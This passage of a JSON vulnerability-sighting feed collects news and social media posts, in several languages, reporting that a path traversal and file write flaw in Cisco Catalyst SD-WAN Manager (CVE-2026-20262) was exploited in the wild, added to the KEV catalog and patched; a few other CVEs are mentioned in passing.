\u65e7\u79f0SD-WAN vManage\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u3053\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7ba1\u7406\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306f\u3001\u7ba1...", "creation_timestamp": "2026-06-15T19:17:26.182245Z"}, {"uuid": "14e8660e-0b03-4ae0-aa74-51065196d60a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3moe2cptyqt23", "content": "Cisco patched CVE-2026-20262 in Catalyst SD-WAN Manager after in-the-wild zero-day abuse let authenticated attackers overwrite files and escalate to root. Affects all deployment types. #Cisco #SDWAN #ZeroDay", "creation_timestamp": "2026-06-15T19:45:26.524335Z"}, {"uuid": "6fe64d3a-0f09-48a6-8369-fdbb57e98041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6747334", "content": "2026-06-15: [CVE-2026-20262] Cisco Catalyst SD-WAN Manager Directory or Path Traversal VulnerabilityCisco Catalyst SD-WAN Manager contains a directory or path traversal vulnerability that could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system.\ncisakev", "creation_timestamp": "2026-06-15T20:17:00.449752Z"}, {"uuid": "426c897b-05d6-48b8-b432-3af536f9c1e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3moe6yb7nbm2m", "content": "CISA Adds Two Known Exploited Vulnerabilities to Catalog\nCISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog , based on evidence of active exploitation. CVE-2026-20262 Cisco Catalyst SD-WAN\u2026\n\n\ud83d\udd17 https://hnow.live/a/768606bd", "creation_timestamp": "2026-06-15T21:09:04.283408Z"}, {"uuid": "51a098fa-d41a-4691-b849-645e1f58c269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3moec6oae4r2m", "content": "Cisco patched a Catalyst SD-WAN Manager web UI flaw (CVE-2026-20262) already exploited for root privileges via crafted file-upload requests.\n", "creation_timestamp": "2026-06-15T22:06:20.885757Z"}, {"uuid": "d42eba66-6a37-4251-9b0b-542a1beb8630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3moec7c5cot2t", "content": "\ud83d\udd12 Cisco SD-WAN Manager arbitrary file write (CVE-2026-20262) \u2013 CISA KEV\n\nCisco Catalyst SD-WAN Manager has a path traversal vulnerability (CVE-2026-20262) allowing authenticated att...\n\nhttps://tinyurl.com/225xl4kn #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-15T22:06:41.260964Z"}, {"uuid": "74aa8fdf-3bed-4954-a52f-6d480226a0d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3moejkci7lu2s", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u60272\u4ef6\u3092\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCVE-2026-20262 Cisco Catalyst SD-WAN Manager\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u307e\u305f\u306f\u30d1\u30b9\u306e\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027\nCVE-2026-54420 LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306eUNIX\u30b7\u30f3\u30dc\u30ea\u30c3\u30af\u30ea\u30f3\u30af\uff08Symlink\uff09\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-06-16T00:18:06.955988Z"}, {"uuid": "ed6f82cc-1572-48e1-984a-c4c3a016e845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20262", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mof5yejnsg2z", "content": "\ud83d\udcf0 Cisco Tambal Celah Zero-Day Kritis pada Catalyst SD-WAN Manager yang Dieksploitasi Peretas\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/16/cisco-tambal-celah-zero-day-catalyst-sd-wan/\n\n#api #catalyst #cisa #cisco #cve-2026-20262 #hacker #jaringan #keamananSiber #komputer #p", "creation_timestamp": "2026-06-16T06:23:53.688162Z"}, {"uuid": "27b41be6-8549-48e1-a1ed-547bd08cdac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mof6gsvasb22", "content": "CVE-2026-20262 in Catalyst SD-WAN Manager enables arbitrary file write via crafted HTTP requests, requiring valid write-capable credentials and potentially leading to root escalation.\n", "creation_timestamp": "2026-06-16T06:31:59.194435Z"}, {"uuid": "dfcf3da0-2535-4ea1-914e-c2c852e0640c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-releases-security-updates-for.html", "content": "Cisco has released security updates for a medium-severity security flaw in Catalyst SD-WAN Manager that has come under active exploitation in the wild.\n\nThe vulnerability, tracked as CVE-2026-20262, carries a CVSS score of 6.5 out of 10.0.\n\n\"A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker to create a file or", "creation_timestamp": "2026-06-16T04:05:58.000000Z"}, {"uuid": "c7e6e6ee-21fc-44ca-9248-f3034e1de50f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mofbcd2hm62b", "content": "Cisco has released urgent patches for a critical SD-WAN vManage zero-day (CVE-2026-20262) under active exploitation. This is the sixth SD-WAN flaw exploited in 2026 alone, revealing a troubling pattern for network edge security.\u2026\n\nhttps://www.tpp.blog/zn1i95u\n\n#cybersecurity #cisco #sdwanvmanage", "creation_timestamp": "2026-06-16T07:23:09.351946Z"}, {"uuid": "dfa234df-a1c4-42e6-80c9-aa07dbbc9970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mofdgdaebi2h", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20262\n\n\u2022 CVE ID: CVE-2026-20262\n\u2022 CVSS Score: 6.5 (Medium)\n\u2022 Affected: Catalyst SD-WAN \n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-16T08:01:10.797887Z"}, {"uuid": "0e43fd91-6f8c-4d2a-ba8b-4a8ec89ae919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotto-cisco-1", "content": "", "creation_timestamp": "2026-06-16T01:31:12.000000Z"}, {"uuid": "5516ade2-6e13-4da4-8ac1-a358e5b9cfd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mofimqqryb23", "content": "Cisco has issued a fix for a vulnerability in the Catalyst SD-WAN Manager, tracked as CVE-2026-20262, which allows attackers to gain root privileges via a crafted HTTP request. The flaw arises from improper input validation during file uploads.", "creation_timestamp": "2026-06-16T09:34:15.894230Z"}, {"uuid": "d01922ca-801a-4a8a-94b9-5a081738a044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1922", "content": "", "creation_timestamp": "2026-06-15T21:00:00.000000Z"}, {"uuid": "c9155903-218d-4d94-ba37-cd507d4b4efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3moflh3d7ms2s", "content": "Cisco discloses second exploited SD-WAN vulnerability in two weeks (CVE-2026-20262)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/16/c...\n\n#cybersecurity #cybersecuritynews #0day #APT #SDWAN @cisco.com", "creation_timestamp": "2026-06-16T10:25:17.448279Z"}, {"uuid": "ea7b076b-28bb-4751-a4ce-3230171826be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3moflrykl5f2w", "content": "Cisco\u304c2\u9031\u9593\u30672\u4ef6\u76ee\u306e\u60aa\u7528\u78ba\u8a8d\u6e08\u307fSD-WAN\u8106\u5f31\u6027\u3092\u516c\u8868\uff08CVE-2026-20262\uff09\n\nCisco\u306f\u3001\u540c\u793e\u306eProduct Security Incident Response Team\uff08PSIRT\uff09\u304c\u653b\u6483\u8005\u306b\u3088\u308b\u60aa\u7528\u3092\u78ba\u8a8d\u3057\u305fCatalyst SD-WAN Manager\u306e\u65b0\u305f\u306a\u8106\u5f31\u6027\uff08CVE-2026-20262\uff09\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002 \u305f\u3060\u3057\u3001\u95a2\u9023\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u306b\u306f\u300c\u3053\u306e\u8106...", "creation_timestamp": "2026-06-16T10:30:52.222178Z"}, {"uuid": "e24a9106-f44a-48d6-8b2d-7d0d838f26d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mofmlxtx3w2l", "content": "Cisco says CVE-2026-20262 is being exploited in limited attacks against Catalyst SD-WAN Manager, enabling arbitrary file writes and possible privilege escalation. CISA added it to KEV. #Cisco #SDWAN #CISA", "creation_timestamp": "2026-06-16T10:45:23.995735Z"}, {"uuid": "a45af717-91f9-43bf-8514-70de1169e9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mofnvrenzg24", "content": "Cisco SD-WAN, CVE-2026-20262: Internal Discovery, External Exploitation", "creation_timestamp": "2026-06-16T11:08:46.815080Z"}, {"uuid": "de7dc619-fc1d-444c-be26-b7897119fcd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mofnyqsq3d2j", "content": "CSUITE CRITICAL: Cisco Catalyst SD-WAN Manager CVE-2026-20262 is under active exploitation. Path traversal flaw allows unauthorized file access. Review our full forensic intelligence brief to secure your SD-WAN perimeter and prevent persistence. Act now. https://thecybermind.co/8bs2\n\n#CiscoSecurity\u2026", "creation_timestamp": "2026-06-16T11:10:26.814157Z"}, {"uuid": "21cec0ed-2e2a-4ac7-81af-2613b36ba96a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mofqibptw22t", "content": "Cisco has confirmed that CVE-2026-20262, an arbitrary file write vulnerability in Cisco Catalyst SD-WAN Manager, is currently under active exploitation.\n\nsecurityaffairs.com/193693/secur...", "creation_timestamp": "2026-06-16T11:54:55.985125Z"}, {"uuid": "68e791e0-9f4c-4157-9c59-ac20a4c19f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mofqs27olh2o", "content": "Cisco Catalyst SD-WAN Manager has updates for CVE-2026-20262, actively exploited via the web UI. Apply the patch promptly and restrict management access. #Cybersecurity #Vulnerability #InfoSec\n\nSource: https://thehackernews.com/2026/06/cisco-releases-security-updates-for.html", "creation_timestamp": "2026-06-16T12:00:23.514152Z"}, {"uuid": "66a5d648-e508-41b4-8211-38099c480f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mofrbwp3m226", "content": "The vulnerability, tracked as CVE-2026-20253, is rated 9.8 on the CVSS scoring system. thehackernews.com/2026/06/crit...", "creation_timestamp": "2026-06-16T12:09:16.870238Z"}, {"uuid": "114875f7-955f-45cf-a257-2dde029ee643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mofrn5n4tk24", "content": "\ud83d\udd17 CVE : CVE-2026-20262", "creation_timestamp": "2026-06-16T12:15:32.191208Z"}, {"uuid": "8e143a99-b230-4bfd-ada8-9e731b4691a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mofschtphv2l", "content": "Also watch the KEV layer.\n\nCISA added Cisco Catalyst SD-WAN Manager CVE-2026-20262 and LiteSpeed cPanel Plugin CVE-2026-54420 on June 15.\n\nCisco = enterprise control plane risk.\nLiteSpeed = shared hosting blast radius.\n\nRefs:\nwww.cisa.gov/sites/defaul...\nsec.cloudapps.cisco.com/security/cen...", "creation_timestamp": "2026-06-16T12:27:37.598413Z"}, {"uuid": "aae907cd-2a8f-4589-94d2-2b4ef3dd788d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mofscijst42t", "content": "References:\n\n- Mandiant/GTIG: PRC targets US medical research: cloud.google.com/blog/topics/...\n- Mandiant X post: x.com/Mandiant/sta...\n- CISA KEV catalog: www.cisa.gov/sites/defaul...\n- Cisco advisory CVE-2026-20262: sec.cloudapps.cisco.com/security/cen...", "creation_timestamp": "2026-06-16T12:27:38.562618Z"}, {"uuid": "9d1b0b3e-07d8-47fa-bdda-b40218f5ebdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3moftlamm7t23", "content": "CVE-2026-20262 in Cisco SD-WAN Manager: authenticated attackers can upload malicious files and escalate to root, controlling traffic routing and segmentation across your entire enterprise network. #infosec #cybersecurity", "creation_timestamp": "2026-06-16T12:50:15.613871Z"}, {"uuid": "36e7a174-469f-4917-95de-192e901289c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://threatintel.cc/2026/06/16/cve-cisco-catalyst-sdwan-flaw.html", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN Flaw Under Active Targeted Exploitation\n\nCisco has confirmed that CVE-2026-20262, an arbitrary file write vulnerability in Cisco Catalyst SD-WAN Manager, is currently under active exploitation. CISA has added this flaw to its Known Exploited Vulnerabilities catalog and urges users to apply available security patches to prevent potential privilege escalation.", "creation_timestamp": "2026-06-16T09:54:40.000000Z"}, {"uuid": "aa9b6008-5264-4493-8f0b-689c9fdd00fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mofugnjtkh23", "content": "CRITICAL: Cisco Catalyst SD-WAN Manager CVE-2026-20262 is under active exploitation. Path traversal flaw allows unauthorized file access. Review our TSUITE forensic intelligence brief to secure your SD-WAN perimeter and prevent persistence https://thecybermind.co/jt3x", "creation_timestamp": "2026-06-16T13:05:35.799962Z"}, {"uuid": "2f138adc-14e6-4195-bd60-2500003f1315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mofukgpwttx2", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN Flaw Under Active Targeted Exploitation Cisco warned that CVE-2026-20262, a Catalyst SD-WAN Manager vulnerability allowing arbitrary file writes, is being acti...\n\n#Breaking #News #Hacking #Security #Catalyst #SD-WAN #CISCO #hacking #news #information [\u2026]", "creation_timestamp": "2026-06-16T13:07:47.315584Z"}, {"uuid": "005e49cf-a268-4e7e-9759-fe0314edafdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-602", "content": "", "creation_timestamp": "2026-06-16T05:26:38.000000Z"}, {"uuid": "33960ec0-a367-4696-a57e-3cb5be9f30a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mofw5a7jtc26", "content": "Cisco recently became aware of the exploitation of CVE-2026-20262, a Catalyst SD-WAN Manager zero-day that allows arbitrary file write. www.securityweek.com/cisco-patche...", "creation_timestamp": "2026-06-16T13:36:08.381137Z"}, {"uuid": "274aa818-ef23-4d86-a073-0f484aaacf16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mog3oj6hyp2j", "content": "CVE-2026-20253: Splunk Enterprise\u00a0\u8a8d\u8a3c\u524d\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\n\n\u6982\u8981 Resecurity\u306f\u3001CVE-2026-20253\u306e\u60aa\u7528\u3092\u8ffd\u8de1\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001Splunk Enterprise\u306ePostgreSQL Sidecar\u30b5\u30fc\u30d3\u30b9\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a\u8a8d\u8a3c\u524d\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u8106\u5f31\u6027\u3067\u3059\u3002\u3053\u306e\u6b20\u9665\u306f\u3001\u8a8d\u8a3c\u30c1...", "creation_timestamp": "2026-06-16T15:15:15.301516Z"}, {"uuid": "40bb251e-7ac6-49b4-bcd8-7aaf5438f33b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mog72ep6fe2r", "content": "~Cybergcca~\nCisco Catalyst SD-WAN Manager and multiple Fortinet products have actively exploited vulnerabilities.\n-\nIOCs: CVE-2026-20262, CVE-2026-39813, CVE-2026-39808\n-\n#Cisco #Fortinet #ThreatIntel", "creation_timestamp": "2026-06-16T16:15:34.487509Z"}, {"uuid": "6c54f7f0-916b-4094-8edc-a85b2b67bc2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3moge46jgbs2h", "content": "Cisco fixes SD-WAN vManage flaw exploited in zero-day attacks\n\nCisco has released security updates to address a vulnerability in the Catalyst SD-WAN Manager, tracked as CVE-2026-20262, that was exploited in attacks to escalate to root privileges. [...]\n#hackernews #news", "creation_timestamp": "2026-06-16T17:46:04.693768Z"}, {"uuid": "89c074b8-5b7c-48d7-b850-158328b5494b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3moggxx22g625", "content": "\u26a0\ufe0f Cisco Catalyst SD-WAN Manager flaw CVE-2026-20262 is actively exploited! The bug allows root privilege escalation. CISA has added it to the KEV catalog, mandating a patch by June 29. Update now! #Cisco #CVE #CyberSecurity #KEV\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-16T18:37:23.932315Z"}, {"uuid": "c99134c6-26d1-422f-8a2d-ad783eb2dc92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mogkywmvqk27", "content": "\u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u4fdd\u8b77\u88fd\u54c1\u300cCisco Secure Workload\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\n\n\u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u9593\u901a\u4fe1\u3092\u53ef\u8996\u5316\u3057\u3001\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u6a5f\u80fd\u3092\u63d0\u4f9b\u3059\u308b\u300cCisco Secure Workload\uff08\u65e7Cisco Tetration\uff09\u300d\u306e\u5185\u90e8REST API\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u3002\n\nCisco Systems\u306f\u73fe\u5730\u6642\u95932026\u5e745\u670820\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u300cCisco Secure Workload Cluster Software\u300d\u306b\u95a2\u3059\u308b\u8106\u5f31\u6027\u300cCVE-2026-20223\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u540c\u88fd\u54c1\u306b\u7528\u610f\u3055\u308c\u305f\u300cREST...", "creation_timestamp": "2026-06-16T19:49:31.388598Z"}, {"uuid": "7adf95b7-7b35-4b88-a12f-293e4037adc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20262", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mogofuhywf2k", "content": "\ud83d\udc1b VULNERABILITIES Cisco discloses second exploited SD-WAN vulnerability in two weeks (CVE-2026-20262) \u2014 Help Net Security\nhttps://www.helpnetsecurity.com/2026/06/16/cisco-sd-wan-cve-2026-20262-exploited/ #InfoSec #CyberSecurity", "creation_timestamp": "2026-06-16T20:50:26.213345Z"}, {"uuid": "9aff1784-5a25-4401-83b8-5e15f2440047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mogu5piz6s2h", "content": "Cisco Releases Security Updates for Actively Exploited SD-WAN Manager Flaw\n\nCisco has released security updates for a medium-severity security flaw in Catalyst SD-WAN Manager that has come under active exploitation in the wild.\n\nThe vulnerability, tracked as CVE-2026-20262, carrie\u2026\n#hackernews #news", "creation_timestamp": "2026-06-16T22:33:15.817365Z"}, {"uuid": "efffb761-523e-417b-ba0e-ad972e13a34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mohabutll22h", "content": "Cisco discloses second exploited SD-WAN vulnerability in two weeks (CVE-2026-20262)\n\nCisco has revealed another Catalyst SD-WAN Manager vulnerability (CVE-2026-20262) that its Product Security Incident Response Team observed being exploited by attackers. But the associated securit\u2026\n#hackernews #news", "creation_timestamp": "2026-06-17T02:10:20.462192Z"}, {"uuid": "e790a38b-0492-4d7b-81f6-747465636032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mohbhfp4ax2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 62 interactions\nCVE-2026-54420: 26 interactions\nCVE-2025-10263: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-54420: 21 interactions\nCVE-2026-20262: 8 interactions\nCVE-2026-48558: 8 interactions\n", "creation_timestamp": "2026-06-17T02:31:19.586054Z"}, {"uuid": "9a731d45-0fc3-4140-af9d-fcbf630a4841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mohcmgize22h", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN Flaw Under Active Targeted Exploitation\n\nCisco warned that CVE-2026-20262, a Catalyst SD-WAN Manager vulnerability allowing arbitrary file writes, is being actively exploited. Cisco confirmed active exploitation of CVE-2026-20262, an arbitrary\u2026\n#hackernews #news", "creation_timestamp": "2026-06-17T02:52:02.310997Z"}, {"uuid": "af80ddd5-9e82-422c-a9c8-2d303b9ac096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mohjwzesmp2e", "content": "\ud83d\udea8 Cisco SD-WAN zero-day CVE-2026-20262 exploited in the wild. Write access \u2192 root escal via crafted HTTP. Patch now! https://radar.offseq.com/threat/cisco-p", "creation_timestamp": "2026-06-17T05:03:12.999013Z"}, {"uuid": "1222fe74-6aab-4ee4-abd6-48103c6501bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20781", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mohkncuonj2f", "content": "CVE-2026-20781: The Charger That Only Had To Say Its Own Name\n\n#TheResident 